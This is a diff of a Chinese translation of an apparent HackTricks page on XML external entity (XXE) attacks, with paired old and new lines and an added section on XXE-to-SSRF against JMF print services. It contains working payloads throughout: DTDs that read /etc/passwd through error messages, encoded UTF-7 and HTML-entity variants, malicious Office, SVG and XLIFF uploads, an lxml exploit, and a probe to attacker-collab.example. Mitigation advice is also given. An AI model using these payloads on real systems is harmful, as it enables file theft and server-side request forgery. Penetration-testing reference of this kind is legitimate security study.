攻击者将这个恶意 DTD 托管在他们控制的服务器上,通常位于类似 `http://web-attacker.com/malicious.dtd` 的 URL。
**XXE Payload:** 为了利用一个脆弱的应用程序,攻击者发送一个 XXE payload
```xml
@ -127,10 +127,10 @@ XXE 可以被用来滥用云中的 SSRF
**在这种情况下,我们将使服务器加载一个恶意 DTD该 DTD 将在错误消息中显示文件的内容(仅在您可以看到错误消息时有效)。** [**示例来自这里。**](https://portswigger.net/web-security/xxe/blind)
可以通过恶意外部文档类型定义DTD触发一个 XML 解析错误消息,揭示 `/etc/passwd` 文件的内容。这是通过以下步骤完成的:
可以通过恶意外部文档类型定义DTD触发 XML 解析错误消息,揭示 `/etc/passwd` 文件的内容。这是通过以下步骤完成的:
1. 定义一个名为 `file` 的 XML 参数实体,其中包含 `/etc/passwd` 文件的内容。
2. 定义一个名为 `eval` 的 XML 参数实体,包含对另一个 XML 参数实体 `error` 的动态声明。当评估这个 `error` 实体时,尝试加载一个不存在的文件,将 `file` 实体的内容作为其名称。
2. 定义一个名为 `eval` 的 XML 参数实体,包含对另一个 XML 参数实体 `error` 的动态声明。当评估 `error` 实体时,尝试加载一个不存在的文件,将 `file` 实体的内容作为其名称。
3. 调用 `eval` 实体,导致 `error` 实体的动态声明。
4. 调用 `error` 实体导致尝试加载一个不存在的文件,产生一个错误消息,其中包含 `/etc/passwd` 文件的内容作为文件名的一部分。
@ -205,7 +205,7 @@ XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据
https://github.com/GoSecure/dtd-finder/tree/master/list
{{#endref}}
此外,如果您拥有 **受害者系统的 Docker 镜像**,您可以使用同一仓库的工具来 **扫描** **镜像****查找** 系统中存在的 **DTD** 路径。请阅读 [GitHub 的自述文件](https://github.com/GoSecure/dtd-finder) 以了解如何操作。
此外,如果您拥有 **受害者系统的 Docker 镜像**,您可以使用同一仓库的工具来 **扫描** **镜像****查找** 系统中存在的 **DTD** 路径。请阅读 [GitHub 的自述文件](https://github.com/GoSecure/dtd-finder) 以了解如何操作。
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
@ -221,9 +221,9 @@ Testing 0 entities : []
对于此攻击的更深入解释,**请查看** [**这篇精彩的文章**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **来自 Detectify 的第二部分**
许多网络应用程序**提供上传 Microsoft Office 文档的功能**,然后提取这些文档中的某些细节。例如,网络应用程序可能允许用户通过上传 XLSX 格式的电子表格来导入数据。为了让解析器从电子表格中提取数据,它不可避免地需要解析至少一个 XML 文件。
许多网络应用程序提供**上传 Microsoft Office 文档的功能**,然后提取这些文档中的某些细节。例如,网络应用程序可能允许用户通过上传 XLSX 格式的电子表格来导入数据。为了让解析器从电子表格中提取数据,它不可避免地需要解析至少一个 XML 文件。
要测试此漏洞,必须创建一个**包含 XXE 有效负载的 Microsoft Office 文件**。第一步是创建一个空目录,以便将文档解压缩到该目录中。
要测试此漏洞,需要创建一个**包含 XXE 有效负载的 Microsoft Office 文件**。第一步是创建一个空目录,以便将文档解压缩到该目录中。
一旦文档被解压缩,位于 `./unzipped/word/document.xml` 的 XML 文件应在首选文本编辑器(如 vim中打开并编辑。XML 应修改为包含所需的 XXE 有效负载,通常以 HTTP 请求开头。
@ -322,7 +322,7 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
用户上传到某些应用程序的文件,然后在服务器上处理,可能会利用 XML 或包含 XML 的文件格式处理中的漏洞。常见的文件格式如办公文档 (DOCX) 和图像 (SVG) 基于 XML。
当用户 **上传图像** 时,这些图像会在服务器端进行处理或验证。即使对于期望 PNG 或 JPEG 格式的应用程序,**服务器的图像处理库也可能支持 SVG 图像**。SVG 作为一种基于 XML 的格式,可能被攻击者利用来提交恶意 SVG 图像,从而使服务器暴露于 XXE (XML External Entity) 漏洞。
当用户 **上传图像** 时,这些图像会在服务器端进行处理或验证。即使对于期望 PNG 或 JPEG 格式的应用程序,**服务器的图像处理库也可能支持 SVG 图像**。SVG 作为一种基于 XML 的格式,可能被攻击者利用来提交恶意 SVG 图像,从而使服务器暴露于 XXEXML 外部实体)漏洞。
下面展示了一个此类攻击的示例,其中恶意 SVG 图像试图读取系统文件:
```xml
@ -338,7 +338,7 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
查看 [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) 获取更多信息!
**注意,读取文件的第一行或执行结果将出现在创建的图像内部。因此,您需要能够访问 SVG 创建的图像。**
**注意,读取文件的第一行或执行结果将出现在创建的图像内部。因此,您需要能够访问 SVG 创建的图像。**
### **PDF - 文件上传**
@ -408,7 +408,7 @@ Content-Type: application/xml;charset=UTF-8
### UTF-7
您可以在这里使用 \[**"Encode Recipe**" of cyberchef\]\[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)将其转换为 UTF-7。
您可以在此处使用 \[**"Encode Recipe**" of cyberchef\]\[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4将其转换为 UTF-7。
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -430,7 +430,7 @@ Content-Type: application/xml;charset=UTF-8
来自 [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
您可以创建一个 **实体内部的实体**,通过 **html 实体** 编码,然后调用它来 **加载 dtd**。\
请注意,使用的 **HTML 实体** 需要是 **数字**(如 \[在这个例子中\]([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
请注意,使用的 **HTML 实体** 需要是 **数字**(如 \[在这个例子中]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
```xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
@ -476,7 +476,7 @@ DTD 示例:
这个例子灵感来源于 [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
XLIFF (XML 本地化交换文件格式) 用于标准化本地化过程中的数据交换。它是一种基于 XML 的格式,主要用于在本地化过程中在工具之间传输可本地化数据,并作为计算机辅助翻译 (CAT) 工具的通用交换格式。
XLIFF (XML Localization Interchange File Format) 用于标准化本地化过程中的数据交换。它是一种基于 XML 的格式,主要用于在本地化过程中在工具之间传输可本地化数据,并作为计算机辅助翻译 (CAT) 工具的通用交换格式。
### Blind Request Analysis
@ -492,7 +492,7 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
然而,此请求触发了内部服务器错误,特别提到标记声明的问题:
然而,此请求触发了内部服务器错误,具体提到标记声明的问题:
```json
{
"status": 500,
@ -500,9 +500,9 @@ Content-Type: application/x-xliff+xml
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
}
```
尽管出现错误,但在 Burp Collaborator 上记录一次命中,表明与外部实体有某种程度的交互。
尽管出现错误,但在 Burp Collaborator 上记录一次命中,表明与外部实体有某种程度的交互。
Out of Band Data Exfiltration 提取数据,发送了一个修改过的请求:
Out of Band Data Exfiltration 为了提取数据,发送了一个修改过的请求:
```
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
@ -514,16 +514,16 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
这种方法揭示了用户代理表明使用的是 Java 1.8。这个版本的 Java 的一个显著限制是无法使用带外技术检索包含换行符的文件,例如 /etc/passwd。
这种方法揭示了用户代理指示使用 Java 1.8。该版本 Java 的一个显著限制是无法使用带外技术检索包含换行符的文件,例如 /etc/passwd。
基于错误的数据外泄 为了克服这限制采用了基于错误的方法。DTD 文件的结构如下,以触发包含目标文件数据的错误:
基于错误的数据外泄 为了克服这限制采用了基于错误的方法。DTD 文件的结构如下,以触发包含目标文件数据的错误:
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
```
服务器返回一个错误,重要的是反映了不存在的文件,表明服务器正在尝试访问指定的文件:
服务器响应错误,重要的是反映出不存在的文件,表明服务器正在尝试访问指定的文件:
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
@ -684,16 +684,16 @@ https://github.com/luisfontes19/xxexploiter
### Python lxml 参数实体 XXE (基于错误的文件泄露)
> [!INFO]
> Python 库 **lxml** 在底层使用 **libxml2****lxml 5.4.0 / libxml2 2.13.8** 之前的版本,即使 `resolve_entities=False`,仍然会扩展 *parameter* 实体,这使得当应用程序启用 `load_dtd=True` 和/或 `resolve_entities=True` 时,它们可被访问。 这允许基于错误的 XXE 有效载荷将本地文件的内容嵌入到解析器错误消息中。
> Python 库 **lxml** 在底层使用 **libxml2**版本低于 **lxml 5.4.0 / libxml2 2.13.8** 的仍然会扩展 *参数* 实体,即使 `resolve_entities=False`,当应用程序启用 `load_dtd=True` 和/或 `resolve_entities=True` 时,这些实体仍然可达。这允许基于错误的 XXE 有效载荷将本地文件的内容嵌入到解析器错误消息中。
#### 1. 利用 lxml < 5.4.0
1. 识别或创建一个在磁盘上的 *local* DTD定义一个 **未定义** 参数实体(例如 `%config_hex;`)。
1. 在磁盘上识别或创建一个定义 **未定义** 参数实体*本地* DTD(例如 `%config_hex;`)。
2. 构造一个内部 DTD
* 使用 `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">` 加载本地 DTD。
* 重新定义未定义的实体,使其:
- 读取目标文件 (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`)。
- 构建另一个参数实体,引用一个包含 `%flag;` 值的 **无效路径** 并触发解析器错误 (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`)。
3. 最后`%local_dtd;``%eval;`,使解析器遇到 `%error;`,无法打开 `/aaa/<FLAG>` 并在抛出的异常中泄露标志 这通常会被应用程序返回给用户。
- 构建另一个参数实体,引用包含 `%flag;` 值的 **无效路径** 并触发解析器错误 (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`)。
3. 最后展 `%local_dtd;``%eval;`,使解析器遇到 `%error;`,无法打开 `/aaa/<FLAG>` 并在抛出的异常中泄露标志 这通常会被应用程序返回给用户。
```xml
<!DOCTYPE colors [
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
@ -732,7 +732,7 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
* 该技术在 **没有出站连接** 的情况下也能工作,使其非常适合严格的出站过滤环境。
#### 缓解指导
* 升级到**lxml ≥ 5.4.0**并确保底层的**libxml2**是**≥ 2.13.8**。
* 升级到 **lxml ≥ 5.4.0** 并确保底层的 **libxml2** 版本为 **≥ 2.13.8**。
* 除非绝对必要,否则禁用 `load_dtd` 和/或 `resolve_entities`
* 避免将原始解析器错误返回给客户端。
@ -765,9 +765,35 @@ DocumentBuilder builder = dbf.newDocumentBuilder();
```
如果应用程序必须内部支持 DTD保持 `disallow-doctype-decl` 禁用,但**始终**将两个 `external-*-entities` 特性设置为 `false`。这种组合可以防止经典的文件泄露有效载荷(`file:///etc/passwd`)以及基于网络的 SSRF 向量(`http://169.254.169.254/…``jar:` 协议等)。
真实案例研究:**CVE-2025-27136** 在 Java S3 模拟器 *LocalS3* 中使用了上述脆弱构造函数。未经过身份验证的攻击者可以向 `CreateBucketConfiguration` 端点提供一个精心制作的 XML 主体,并使服务器在 HTTP 响应中嵌入本地文件(例如 `/etc/passwd`)。
真实案例研究:**CVE-2025-27136** 在 Java S3 模拟器 *LocalS3* 中使用了上述脆弱构造函数。未经过身份验证的攻击者可以向 `CreateBucketConfiguration` 端点提供一个精心制作的 XML 主体,并使服务器在 HTTP 响应中嵌入本地文件(例如 `/etc/passwd`)。
## 参考文献
### JMF/打印编排服务中的 XXE → SSRF
一些打印工作流/编排平台暴露了一个面向网络的作业消息格式JMF监听器该监听器通过 TCP 接受 XML。如果底层解析器接受 `DOCTYPE` 并解析外部实体,您可以利用经典的 XXE 强制服务器发出外部请求SSRF或访问本地资源。
在实际中观察到的关键点:
- 在专用端口(通常在 Xerox FreeFlow Core 中为 4004上的网络监听器例如JMF 客户端)。
- 在 jar 中的基于 Java 的 XML 解析(例如,`jmfclient.jar`),未禁用 `disallow-doctype-decl` 或实体解析。
- 可靠的带外回调确认利用。
最小 JMF 风格的 SSRF 探测(结构因产品而异,但 DOCTYPE 是关键):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE JMF [
<!ENTITY probe SYSTEM "http://attacker-collab.example/oob">
]>
<JMF SenderID="hacktricks" Version="1.3" TimeStamp="2025-08-13T10:10:10Z">
<Query Type="KnownMessages">&probe;</Query>
</JMF>
```
注意:
- 用你的合作者替换实体 URL。如果 SSRF 是可能的,服务器将在解析消息时解析它。
- 需要注意的加固措施:`disallow-doctype-decl=true``external-general-entities=false``external-parameter-entities=false`
- 即使 JMF 端口不提供文件SSRF 也可以用于内部侦查或访问绑定到 localhost 的管理 API。
此向量的参考资料列在页面底部。
## 参考
- [OffSec Blog CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/)
@ -782,5 +808,8 @@ DocumentBuilder builder = dbf.newDocumentBuilder();
- [Dojo CTF Challenge #42 Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
- [lxml bug #2107279 Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
- [Horizon3.ai From Support Ticket to Zero Day (FreeFlow Core XXE/SSRF + Path Traversal)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox FreeFlow Core Security Guide (architecture/ports)](https://securitydocs.business.xerox.com/wp-content/uploads/2025/03/Security-Guide-Information-Assurance-Disclosure-Xerox-FreeFlow-Core-8.0.pdf)
- [Xerox Security Bulletin 025-013 FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
{{#include ../banners/hacktricks-training.md}}